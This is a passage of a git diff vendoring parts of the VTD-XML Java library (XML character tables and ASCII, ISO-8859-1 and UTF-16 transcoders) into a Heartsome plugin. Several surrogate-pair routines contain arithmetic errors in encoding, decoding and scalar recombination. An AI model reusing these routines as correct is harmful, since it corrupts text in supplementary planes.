0x0621, 0x063A }, { 0x0641, 0x064A }, { 0x0671, 0x06B7 }, + { 0x06BA, 0x06BE }, { 0x06C0, 0x06CE }, { 0x06D0, 0x06D3 }, + { 0x06E5, 0x06E6 }, { 0x0905, 0x0939 }, { 0x0958, 0x0961 }, + { 0x0985, 0x098C }, { 0x098F, 0x0990 }, { 0x0993, 0x09A8 }, + { 0x09AA, 0x09B0 }, { 0x09B6, 0x09B9 }, { 0x09DC, 0x09DD }, + { 0x09DF, 0x09E1 }, { 0x09F0, 0x09F1 }, { 0x0A05, 0x0A0A }, + { 0x0A0F, 0x0A10 }, { 0x0A13, 0x0A28 }, { 0x0A2A, 0x0A30 }, + { 0x0A32, 0x0A33 }, { 0x0A35, 0x0A36 }, { 0x0A38, 0x0A39 }, + { 0x0A59, 0x0A5C }, { 0x0A72, 0x0A74 }, { 0x0A85, 0x0A8B }, + { 0x0A8F, 0x0A91 }, { 0x0A93, 0x0AA8 }, { 0x0AAA, 0x0AB0 }, + { 0x0AB2, 0x0AB3 }, { 0x0AB5, 0x0AB9 }, { 0x0B05, 0x0B0C }, + { 0x0B0F, 0x0B10 }, { 0x0B13, 0x0B28 }, { 0x0B2A, 0x0B30 }, + { 0x0B32, 0x0B33 }, { 0x0B36, 0x0B39 }, { 0x0B5C, 0x0B5D }, + { 0x0B5F, 0x0B61 }, { 0x0B85, 0x0B8A }, { 0x0B8E, 0x0B90 }, + { 0x0B92, 0x0B95 }, { 0x0B99, 0x0B9A }, { 0x0B9E, 0x0B9F }, + { 0x0BA3, 0x0BA4 }, { 0x0BA8, 0x0BAA }, { 0x0BAE, 0x0BB5 }, + { 0x0BB7, 0x0BB9 }, { 0x0C05, 0x0C0C }, { 0x0C0E, 0x0C10 }, + { 0x0C12, 0x0C28 }, { 0x0C2A, 0x0C33 }, { 0x0C35, 0x0C39 }, + { 0x0C60, 0x0C61 }, { 0x0C85, 0x0C8C }, { 0x0C8E, 0x0C90 }, + { 0x0C92, 0x0CA8 }, { 0x0CAA, 0x0CB3 }, { 0x0CB5, 0x0CB9 }, + { 0x0CE0, 0x0CE1 }, { 0x0D05, 0x0D0C }, { 0x0D0E, 0x0D10 }, + { 0x0D12, 0x0D28 }, { 0x0D2A, 0x0D39 }, { 0x0D60, 0x0D61 }, + { 0x0E01, 0x0E2E }, { 0x0E32, 0x0E33 }, { 0x0E40, 0x0E45 }, + { 0x0E81, 0x0E82 }, { 0x0E87, 0x0E88 }, { 0x0E94, 0x0E97 }, + { 0x0E99, 0x0E9F }, { 0x0EA1, 0x0EA3 }, { 0x0EAA, 0x0EAB }, + { 0x0EAD, 0x0EAE }, { 0x0EB2, 0x0EB3 }, { 0x0EC0, 0x0EC4 }, + { 0x0F40, 0x0F47 }, { 0x0F49, 0x0F69 }, { 0x10A0, 0x10C5 }, + { 0x10D0, 0x10F6 }, { 0x1102, 0x1103 }, { 0x1105, 0x1107 }, + { 0x110B, 0x110C }, { 0x110E, 0x1112 }, { 0x1154, 0x1155 }, + { 0x115F, 0x1161 }, { 0x116D, 0x116E }, { 0x1172, 0x1173 }, + { 0x11AE, 0x11AF }, { 0x11B7, 0x11B8 }, { 0x11BC, 0x11C2 }, + { 0x1E00, 0x1E9B }, { 0x1EA0, 0x1EF9 }, { 0x1F00, 0x1F15 }, + { 0x1F18, 0x1F1D }, { 0x1F20, 0x1F45 }, { 0x1F48, 0x1F4D }, + { 0x1F50, 0x1F57 }, { 0x1F5F, 0x1F7D }, { 0x1F80, 0x1FB4 }, + { 0x1FB6, 0x1FBC }, { 0x1FC2, 0x1FC4 }, { 0x1FC6, 0x1FCC }, + { 0x1FD0, 0x1FD3 }, { 0x1FD6, 0x1FDB }, { 0x1FE0, 0x1FEC }, + { 0x1FF2, 0x1FF4 }, { 0x1FF6, 0x1FFC }, { 0x212A, 0x212B }, + { 0x2180, 0x2182 }, { 0x3041, 0x3094 }, { 0x30A1, 0x30FA }, + { 0x3105, 0x312C }, { 0xAC00, 0xD7A3 }, + // Ideographic + { 0x3021, 0x3029 }, { 0x4E00, 0x9FA5 }, }; + int xmlLetterChar[] = { + // BaseChar + 0x0386, 0x038C, 0x03DA, 0x03DC, 0x03DE, 0x03E0, 0x0559, 0x06D5, + 0x093D, 0x09B2, 0x0A5E, 0x0A8D, 0x0ABD, 0x0AE0, 0x0B3D, 0x0B9C, + 0x0CDE, 0x0E30, 0x0E84, 0x0E8A, 0x0E8D, 0x0EA5, 0x0EA7, 0x0EB0, + 0x0EBD, 0x1100, 0x1109, 0x113C, 0x113E, 0x1140, 0x114C, 0x114E, + 0x1150, 0x1159, 0x1163, 0x1165, 0x1167, 0x1169, 0x1175, 0x119E, + 0x11A8, 0x11AB, 0x11BA, 0x11EB, 0x11F0, 0x11F9, 0x1F59, 0x1F5B, + 0x1F5D, 0x1FBE, 0x2126, 0x212E, + // Ideographic + 0x3007, }; + + // + // [87] CombiningChar ::= ... + // + + int xmlCombiningCharRange[][] = { { 0x0300, 0x0345 }, + { 0x0360, 0x0361 }, { 0x0483, 0x0486 }, { 0x0591, 0x05A1 }, + { 0x05A3, 0x05B9 }, { 0x05BB, 0x05BD }, { 0x05C1, 0x05C2 }, + { 0x064B, 0x0652 }, { 0x06D6, 0x06DC }, { 0x06DD, 0x06DF }, + { 0x06E0, 0x06E4 }, { 0x06E7, 0x06E8 }, { 0x06EA, 0x06ED }, + { 0x0901, 0x0903 }, { 0x093E, 0x094C }, { 0x0951, 0x0954 }, + { 0x0962, 0x0963 }, { 0x0981, 0x0983 }, { 0x09C0, 0x09C4 }, + { 0x09C7, 0x09C8 }, { 0x09CB, 0x09CD }, { 0x09E2, 0x09E3 }, + { 0x0A40, 0x0A42 }, { 0x0A47, 0x0A48 }, { 0x0A4B, 0x0A4D }, + { 0x0A70, 0x0A71 }, { 0x0A81, 0x0A83 }, { 0x0ABE, 0x0AC5 }, + { 0x0AC7, 0x0AC9 }, { 0x0ACB, 0x0ACD }, { 0x0B01, 0x0B03 }, + { 0x0B3E, 0x0B43 }, { 0x0B47, 0x0B48 }, { 0x0B4B, 0x0B4D }, + { 0x0B56, 0x0B57 }, { 0x0B82, 0x0B83 }, { 0x0BBE, 0x0BC2 }, + { 0x0BC6, 0x0BC8 }, { 0x0BCA, 0x0BCD }, { 0x0C01, 0x0C03 }, + { 0x0C3E, 0x0C44 }, { 0x0C46, 0x0C48 }, { 0x0C4A, 0x0C4D }, + { 0x0C55, 0x0C56 }, { 0x0C82, 0x0C83 }, { 0x0CBE, 0x0CC4 }, + { 0x0CC6, 0x0CC8 }, { 0x0CCA, 0x0CCD }, { 0x0CD5, 0x0CD6 }, + { 0x0D02, 0x0D03 }, { 0x0D3E, 0x0D43 }, { 0x0D46, 0x0D48 }, + { 0x0D4A, 0x0D4D }, { 0x0E34, 0x0E3A }, { 0x0E47, 0x0E4E }, + { 0x0EB4, 0x0EB9 }, { 0x0EBB, 0x0EBC }, { 0x0EC8, 0x0ECD }, + { 0x0F18, 0x0F19 }, { 0x0F71, 0x0F84 }, { 0x0F86, 0x0F8B }, + { 0x0F90, 0x0F95 }, { 0x0F99, 0x0FAD }, { 0x0FB1, 0x0FB7 }, + { 0x20D0, 0x20DC }, { 0x302A, 0x302F }, }; + + int xmlCombiningCharChar[] = { 0x05BF, 0x05C4, 0x0670, 0x093C, 0x094D, + 0x09BC, 0x09BE, 0x09BF, 0x09D7, 0x0A02, 0x0A3C, 0x0A3E, 0x0A3F, + 0x0ABC, 0x0B3C, 0x0BD7, 0x0D57, 0x0E31, 0x0EB1, 0x0F35, 0x0F37, + 0x0F39, 0x0F3E, 0x0F3F, 0x0F97, 0x0FB9, 0x20E1, 0x3099, 0x309A, }; + + // + // [88] Digit ::= ... + // + + int xmlDigitRange[][] = { { 0x0030, 0x0039 }, { 0x0660, 0x0669 }, + { 0x06F0, 0x06F9 }, { 0x0966, 0x096F }, { 0x09E6, 0x09EF }, + { 0x0A66, 0x0A6F }, { 0x0AE6, 0x0AEF }, { 0x0B66, 0x0B6F }, + { 0x0BE7, 0x0BEF }, { 0x0C66, 0x0C6F }, { 0x0CE6, 0x0CEF }, + { 0x0D66, 0x0D6F }, { 0x0E50, 0x0E59 }, { 0x0ED0, 0x0ED9 }, + { 0x0F20, 0x0F29 }, }; + + // + // [89] Extender ::= ... + // + + int xmlExtenderRange[][] = { { 0x3031, 0x3035 }, { + 0x309D, 0x309E }, { + 0x30FC, 0x30FE }, }; + + int xmlExtenderChar[] = + { 0x00B7, 0x02D0, 0x02D1, 0x0387, 0x0640, 0x0E46, 0x0EC6, 0x3005, }; + + // + // SpecialChar ::= '<', '&', '\n', '\r', ']' + // + + //int specialChar[] = { + // '<', '&', '\n', '\r', ']', + //}; + + int xmlSpecialChar[] = { '<', '&', ']' }; + + // + // Static Initialization of all chars and their masks + // + + // set valid characters + for (int i = 0; i < xmlCharRange.length; i++) { + for (int j = xmlCharRange[i][0]; j <= xmlCharRange[i][1]; j++) { + UNI_CHARS[j] |= XML_VALID | XML_CONTENT; + } + } + + // remove special characters + for (int i = 0; i < xmlSpecialChar.length; i++) { + UNI_CHARS[xmlSpecialChar[i]] = + (byte) (UNI_CHARS[xmlSpecialChar[i]] & ~XML_CONTENT); + } + + // set space characters + for (int i = 0; i < xmlSpaceChar.length; i++) { + UNI_CHARS[xmlSpaceChar[i]] |= XML_SPACE; + } + + // set name start characters + for (int i = 0; i < xmlNameStartChar.length; i++) { + UNI_CHARS[xmlNameStartChar[i]] |= XML_NAME_START + | XML_NAME + | XML_NCNAME_START + | XML_NCNAME; + } + for (int i = 0; i < xmlLetterRange.length; i++) { + for (int j = xmlLetterRange[i][0]; j <= xmlLetterRange[i][1]; j++) { + UNI_CHARS[j] |= XML_NAME_START | XML_NAME | XML_NCNAME_START | XML_NCNAME; + } + } + for (int i = 0; i < xmlLetterChar.length; i++) { + UNI_CHARS[xmlLetterChar[i]] |= XML_NAME_START + | XML_NAME + | XML_NCNAME_START + | XML_NCNAME; + } + + // set name characters + for (int i = 0; i < xmlNameChar.length; i++) { + UNI_CHARS[xmlNameChar[i]] |= XML_NAME | XML_NCNAME; + } + for (int i = 0; i < xmlDigitRange.length; i++) { + for (int j = xmlDigitRange[i][0]; j <= xmlDigitRange[i][1]; j++) { + UNI_CHARS[j] |= XML_NAME | XML_NCNAME; + } + } + for (int i = 0; i < xmlCombiningCharRange.length; i++) { + for (int j = xmlCombiningCharRange[i][0]; + j <= xmlCombiningCharRange[i][1]; + j++) { + UNI_CHARS[j] |= XML_NAME | XML_NCNAME; + } + } + for (int i = 0; i < xmlCombiningCharChar.length; i++) { + UNI_CHARS[xmlCombiningCharChar[i]] |= XML_NAME | XML_NCNAME; + } + for (int i = 0; i < xmlExtenderRange.length; i++) { + for (int j = xmlExtenderRange[i][0]; j <= xmlExtenderRange[i][1]; j++) { + UNI_CHARS[j] |= XML_NAME | XML_NCNAME; + } + } + for (int i = 0; i < xmlExtenderChar.length; i++) { + UNI_CHARS[xmlExtenderChar[i]] |= XML_NAME | XML_NCNAME; + } + + // remove ':' from allowable XML_NCNAME_START and XML_NCNAME chars + UNI_CHARS[':'] &= ~(XML_NCNAME_START | XML_NCNAME); + + // set Pubid characters + for (int i = 0; i < xmlPubidChar.length; i++) { + UNI_CHARS[xmlPubidChar[i]] |= XML_PUBID; + } + for (int i = 0; i < xmlPubidRange.length; i++) { + for (int j = xmlPubidRange[i][0]; j <= xmlPubidRange[i][1]; j++) { + UNI_CHARS[j] |= XML_PUBID; + } + } + + } + + /** + * Returns the high surrogate from a Unicode scalar value + * + * @param c + * The Unicode scalar value to "split". + */ + public static char highSurrogate(int c) { + //H = (S - 0x10000) / 0x400 + 0xD800 + return (char) ((c >> 10) + 0xd7c0); + } + /** + * Returns true if the specified character can be considered XML content. + * + * @param c + * The character to check. + */ + public static boolean isContentChar(int c) { + return (c < 0x10000 && (UNI_CHARS[c] & XML_CONTENT) != 0) || + (0x10000 <= c && c <= 0x10FFFF); + } + /** + * Returns whether the given Unicode scalar value is a high surrogate + * + * @param c + * The character to check. + */ + public static boolean isHighSurrogate(int c) { + return (0xD800 <= c && c <= 0xDBFF); + } + /** + * Returns true if the specified character is invalid. + * + * @param c + * The character to check. + */ + public static boolean isInvalidChar(int c) { + return ((c < 0x10000) && (UNI_CHARS[c] & XML_VALID) == 0) || (c >= 0x10ffff); + } + /** + * Returns whether the given Unicode scalar value is a low surrogate + * + * @param c + * The character to check. + */ + public static boolean isLowSurrogate(int c) { + return (0xDC00 <= c && c <= 0xDFFF); + } + /** + * Returns true if the specified character can be considered markup. + * Markup characters include '<', '&', and '%'. + * + * @param c The character to check. + */ + public static boolean isMarkupChar(int c) { + return c == '<' || c == '&' || c == '%'; + } + /** + * Returns true if the specified character is a valid name + * character as defined by production [4] in the XML 1.0 + * specification. + * + * @param c The character to check. + */ + public static boolean isNameChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NAME) != 0; + } + /** + * Returns true if the specified character is a valid name start + * character as defined by production [5] in the XML 1.0 + * specification. + * + * @param c The character to check. + */ + public static boolean isNameStartChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NAME_START) != 0; + } + /** + * Returns true if the specified character is a valid NCName + * character as defined by production [5] in Namespaces in XML + * recommendation. + * + * @param c The character to check. + */ + public static boolean isNCNameChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NCNAME) != 0; + } + /** + * Returns true if the specified character is a valid NCName start + * character as defined by production [4] in Namespaces in XML + * recommendation. + * + * @param c The character to check. + */ + public static boolean isNCNameStartChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_NCNAME_START) != 0; + } + /* + * [7] Nmtoken ::= (NameChar)+ + * + * Check to see if a string is a valid Nmtoken according to [7] + * in the XML 1.0 Recommendation + * + * @param nmToken string to check + * @return true if nmtoken is a valid Nmtoken + */ + public static boolean isNmtoken(String nmToken) { + if (nmToken.length() == 0) return false; + + for (int i = 0; i < nmToken.length(); i++ ) + if(!isNameChar( nmToken.charAt(i))) return false; + + return true; + } + /** + * Returns true if the specified character is a valid Pubid + * character as defined by production [13] in the XML 1.0 + * specification. + * + * @param c The character to check. + */ + public static boolean isPubidChar(int c) { + return c < 0x10000 && (UNI_CHARS[c] & XML_PUBID) != 0; + } + /** + * Returns true if the specified character is a space character + * as defined by production [3] in the XML 1.0 specification. + * + * @param c The character to check. + */ + public static boolean isSpaceChar(int c) { + return c <= 0x20 && (UNI_CHARS[c] & XML_SPACE) != 0; + } + + /** + * Returns true if the specified character is a supplemental character. + * + * @param c The character to check. + */ + public static boolean isSupplementalChar(int c) { + return (c >= 0x10000 && c <= 0x10FFFF); + } + /** + * Returns true if the specified character is valid. This method + * also checks the surrogate character range from 0x10000 to 0x10FFFF. + *

    + * If the program chooses to apply the mask directly to the + * UNI_CHARS array, then they are responsible for checking + * the surrogate character range. + * + * @param c The character to check. + */ + public static boolean isValidChar(int c) { + return (c < 0x10000 && (UNI_CHARS[c] & XML_VALID) != 0) || + (0x10000 <= c && c <= 0x10FFFF); + } + /** + * Returns the low surrogate from a Unicode scalar value + * + * @param c The Unicode scalar value to "split". + */ + public static char lowSurrogate(int c) { + //L = (S - 0x10000) % 0x400 + 0xDC00 + return (char) (((c - 0x00010000) & 0x3FF) + 0xDC00); + } + /** + * Returns Unicode scalar value corresponding to the given + * surrogates. + * + * @param hi The high surrogate. + * @param lo The low surrogate. + */ + public static int scalarValueSurrogate(char hi, char lo) { + //N = (H - 0xD800) * 0x400 + (L - 0xDC00) + 0x10000 + return ((hi - 0xd800) << 10) + lo - 0x2400; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/ASCII_Coder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/ASCII_Coder.java new file mode 100644 index 0000000..0b8c292 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/ASCII_Coder.java @@ -0,0 +1,77 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.transcode; + +import com.ximpleware.TranscodeException; + +import java.io.*; +public class ASCII_Coder { + /** + * + * @param ch + * @return + * @throws TranscodeException + * + */ + public static final int getLen(int ch) throws TranscodeException{ + if (ch>=128) + throw new TranscodeException("Invalid UCS char for ASCII format"); + else + return 1; + } + + /** + * + * @param input + * @param offset + * @return a 64-bit integer upper 32 bits is offset value for + * lower 32 bits is the UCS char + * + */ + public static final long decode(byte[] input, int offset ){ + long l = input[offset]; + return (((long)(offset+1))<<32) | l ; + } + + /** + * + * @param output + * @param offset + * @param ch + * @return + * + */ + public static final int encode(byte[] output, int offset, int ch ){ + output[offset] = (byte) ch; + return offset+1; + } + + /** + * + * @param os + * @param offset + * @param ch + * + */ + public static final void encodeAndWrite(OutputStream os, int ch) + throws IOException, TranscodeException { + if (ch>=128) + throw new TranscodeException("Invalid UCS char for ASCII format"); + os.write(ch); + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/ISO8859_1Coder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/ISO8859_1Coder.java new file mode 100644 index 0000000..20b4c20 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/ISO8859_1Coder.java @@ -0,0 +1,65 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.transcode; + +import java.io.IOException; +import java.io.OutputStream; + +import com.ximpleware.TranscodeException; + +public class ISO8859_1Coder { + public static int getLen(int ch) throws TranscodeException{ + if (ch>255) + throw new TranscodeException("Invalid UCS char for ASCII format"); + return 1; + } + + public static long decode(byte[] input, int offset ){ + long l = input[offset] & 0xff; + return (((long)(offset+1))<<32) | l ; + } + + /** + * + * @param output + * @param offset + * @param ch + * @return + * + */ + public static int encode(byte[] output, int offset, int ch ){ + output[offset] = (byte) ch; + return offset+1; + } + + /** + * Write the iso-8859-1 representation of ch into outputstrem + * @param os + * @param offset + * @param ch + * @throws IOException + * @throws TranscodeException + * + */ + public static final void encodeAndWrite(OutputStream os, int ch) + throws IOException, TranscodeException { + if (ch>255) + throw new TranscodeException("Invalid UCS char for ISO-8859-1 format"); + os.write(ch); + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/Transcoder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/Transcoder.java new file mode 100644 index 0000000..f0fcb36 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/Transcoder.java @@ -0,0 +1,241 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.transcode; + +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDNav; + +import java.io.IOException; + +import java.io.OutputStream; +public class Transcoder { + /** + * + * @param input + * @param offset + * @param length + * @param input_encoding + * @param output_encoding + * @return + * + */ + public static byte[] transcode(byte[] input, int offset, int length, + int input_encoding, int output_encoding) throws TranscodeException { + //check input and output encoding + + // calculate the length of the output byte array + int i = getOutLength(input, offset, length, input_encoding, + output_encoding); + // allocate the byte array + byte[] output = new byte[i]; + // fill the byte array with output encoding + transcodeAndFill(input, output, offset, length, input_encoding, + output_encoding); + return output; + } + + + /** + * + * @param input + * @param offset + * @param length + * @param input_encoding + * @param output_encoding + * @return + * @throws TranscodeException + * + */ + public static final int getOutLength(byte[] input, int offset, int length, + int input_encoding, int output_encoding) throws TranscodeException { + int len = 0; + int k = offset; + int c; + while (k < offset + length) { + long l = decode(input, k, input_encoding); + k = (int) (l >>32); + c = (int) l; + len = len + getLen(c, output_encoding); + } + return len; + } + + /** + * Fill the byte array with transcoded characters + * + * @param input + * @param output + * @param offset + * @param length + * @param input_encoding + * @param output_encoding + * + */ + public static final void transcodeAndFill(byte[] input, byte[] output, + int offset, int length, int input_encoding, int output_encoding) + throws TranscodeException { + //int len = 0; + int k = offset; + int c, i = 0; + while (k < offset + length) { + long l = decode(input, k, input_encoding); + k = (int) (l >> 32); + c = (int) l; + i = encode(output, i, c, output_encoding); + } + } + + public static final int transcodeAndFill2(int initOutPosition, + byte[] input, + byte[] output, + int offset, int length, int input_encoding, int output_encoding) + throws TranscodeException { + //int len = 0; + int k = offset; + int c, i = initOutPosition; + while (k < offset + length) { + long l = decode(input, k, input_encoding); + k = (int) (l >> 32); + c = (int) l; + i = encode(output, i, c, output_encoding); + } + return i; + } + + public static final void transcodeAndWrite(byte[] input, + java.io.OutputStream os, + int offset, int length, int input_encoding, int output_encoding) + throws TranscodeException, + IOException { + //int len = 0; + int k = offset; + int c; + while (k < offset + length) { + long l = decode(input, k, input_encoding); + k = (int) (l >> 32); + c = (int) l; + encodeAndWrite(os, c, output_encoding); + } + } + + /** + * + * @param ch + * @param output_encoding + * @return + * @throws TranscodeException + * + */ + public static final int getLen(int ch, int output_encoding) + throws TranscodeException { + switch (output_encoding) { + case VTDNav.FORMAT_ASCII: + return ASCII_Coder.getLen(ch); + case VTDNav.FORMAT_UTF8: + return UTF8_Coder.getLen(ch); + case VTDNav.FORMAT_ISO_8859_1: + return ISO8859_1Coder.getLen(ch); + case VTDNav.FORMAT_UTF_16LE: + return UTF16LE_Coder.getLen(ch); + case VTDNav.FORMAT_UTF_16BE: + return UTF16BE_Coder.getLen(ch); + default: + throw new com.ximpleware.TranscodeException("Unsupported encoding"); + } + } + + /** + * + * @param input + * @param offset + * @param input_encoding + * @return + * @throws TranscodeException + * + */ + public static final long decode(byte[] input, int offset, int input_encoding) + throws TranscodeException { + switch (input_encoding) { + case VTDNav.FORMAT_ASCII: + return ASCII_Coder.decode(input, offset); + case VTDNav.FORMAT_UTF8: + return UTF8_Coder.decode(input, offset); + case VTDNav.FORMAT_ISO_8859_1: + return ISO8859_1Coder.decode(input, offset); + case VTDNav.FORMAT_UTF_16LE: + return UTF16LE_Coder.decode(input, offset); + case VTDNav.FORMAT_UTF_16BE: + return UTF16BE_Coder.decode(input, offset); + default: + throw new com.ximpleware.TranscodeException("Unsupported encoding"); + } + } + + /** + * + * @param output + * @param offset + * @param ch + * @param output_encoding + * @return + * @throws TranscodeException + * + */ + public static final int encode(byte[] output, int offset, int ch, + int output_encoding) throws TranscodeException { + switch (output_encoding) { + case VTDNav.FORMAT_ASCII: + return ASCII_Coder.encode(output, offset, ch); + case VTDNav.FORMAT_UTF8: + return UTF8_Coder.encode(output, offset, ch); + case VTDNav.FORMAT_ISO_8859_1: + return ISO8859_1Coder.encode(output, offset, ch); + case VTDNav.FORMAT_UTF_16LE: + return UTF16LE_Coder.encode(output, offset, ch); + case VTDNav.FORMAT_UTF_16BE: + return UTF16BE_Coder.encode(output, offset, ch); + default: + throw new com.ximpleware.TranscodeException("Unsupported encoding"); + } + } + + public static final void encodeAndWrite(OutputStream os, int ch, + int output_encoding) throws TranscodeException, IOException { + switch (output_encoding) { + case VTDNav.FORMAT_ASCII: + ASCII_Coder.encodeAndWrite(os, ch); + return; + case VTDNav.FORMAT_UTF8: + UTF8_Coder.encodeAndWrite(os, ch); + return; + case VTDNav.FORMAT_ISO_8859_1: + ISO8859_1Coder.encodeAndWrite(os, ch); + return; + case VTDNav.FORMAT_UTF_16LE: + UTF16LE_Coder.encodeAndWrite(os, ch); + return; + case VTDNav.FORMAT_UTF_16BE: + UTF16BE_Coder.encodeAndWrite(os, ch); + return; + default: + throw new com.ximpleware.TranscodeException("Unsupported encoding"); + } + } + + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF16BE_Coder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF16BE_Coder.java new file mode 100644 index 0000000..42e801f --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF16BE_Coder.java @@ -0,0 +1,88 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.transcode; + +import java.io.IOException; +import java.io.OutputStream; + +import com.ximpleware.TranscodeException; + + +public class UTF16BE_Coder { + public static int encode(byte[] output, int offset,int ch){ + if (ch<0x10000){ + output[offset+1] = (byte)(ch & 0xff); + output[offset] = (byte)((ch & 0xff00) >> 8); + return 2 + offset; + } else { + int tmp = ch-0x10000; + int w1 = 0xd800 | (tmp & 0xffc00); + int w2 = 0xdc00 | (tmp & 0x3ff); + output[offset] = (byte)((w1 & 0xff00) >> 8); + output[offset+1] = (byte)(w1 & 0xff); + output[offset+2] =(byte)((w2 & 0xff00) >> 8); + output[offset+3] =(byte)((w2 & 0xff)); + + return 4 + offset; + } + } + + public static long decode(byte[] input, int offset ){ + int val; + long l; + int temp = (input[offset] << 8) | input[offset+1]; + if (temp < 0xd800 || temp > 0xdfff) { + l = offset+2; + return (l<<32)|temp; + }else { + val = temp; + temp = (input[offset+2] << 8) | input[offset+3]; + val = ((temp - 0xd800) << 10) + (val - 0xdc00) + 0x10000; + l = offset+4; + return (l<<32)|temp; + } + } + + public static int getLen(int ch){ + if (ch <0x10000) + return 2; + else + return 4; + } + + public static final void encodeAndWrite(OutputStream os, int ch) + throws IOException, TranscodeException { + + if (ch<0x10000){ + //output[offset] = (byte)((ch & 0xff00) >> 8); + os.write((ch & 0xff00) >> 8); + //output[offset+1] = (byte)(ch & 0xff); + os.write(ch); + //return 2 + offset; + } else { + int tmp = ch-0x10000; + int w1 = 0xd800 | (tmp & 0xffc00); + int w2 = 0xdc00 | (tmp & 0x3ff); + os.write((byte)((w1 & 0xff00) >> 8)); + os.write((byte)(w1 & 0xff)); + os.write((byte)((w2 & 0xff00) >> 8)); + os.write((byte)(w2 & 0xff)); + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF16LE_Coder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF16LE_Coder.java new file mode 100644 index 0000000..645399c --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF16LE_Coder.java @@ -0,0 +1,80 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.transcode; + +import java.io.IOException; +import java.io.OutputStream; + +import com.ximpleware.TranscodeException; + + +public class UTF16LE_Coder { + public static int encode(byte[] output, int offset,int ch){ + if (ch<0x10000){ + output[offset] = (byte)(ch & 0xff); + output[offset+1] = (byte)((ch & 0xff00) >> 8); + return 2 + offset; + } else { + int tmp = ch - 0x10000; + int w1 = 0xd800 | (tmp & 0xffc00); + int w2 = 0xdc00 | (tmp & 0x3ff); + output[offset] = (byte)(w1 & 0xff); + output[offset+1] = (byte)((w1 & 0xff00) >> 8); + output[offset+2] =(byte)(w2 & 0xff); + output[offset+3] = (byte)((w2 & 0xff00) >> 8); + return 4 + offset; + } + } + public static final void encodeAndWrite(OutputStream os, int ch) + throws IOException, TranscodeException { + if (ch<0x10000){ + os.write((ch & 0xff)); + os.write((ch & 0xff00) >> 8); + } else { + int tmp = ch - 0x10000; + int w1 = 0xd800 | (tmp & 0xffc00); + int w2 = 0xdc00 | (tmp & 0x3ff); + os.write(w1 & 0xff); + os.write((w1 & 0xff00) >> 8); + os.write(w2 & 0xff); + os.write((w2 & 0xff00) >> 8); + } + } + + public static long decode(byte[] input, int offset ){ + int val; long 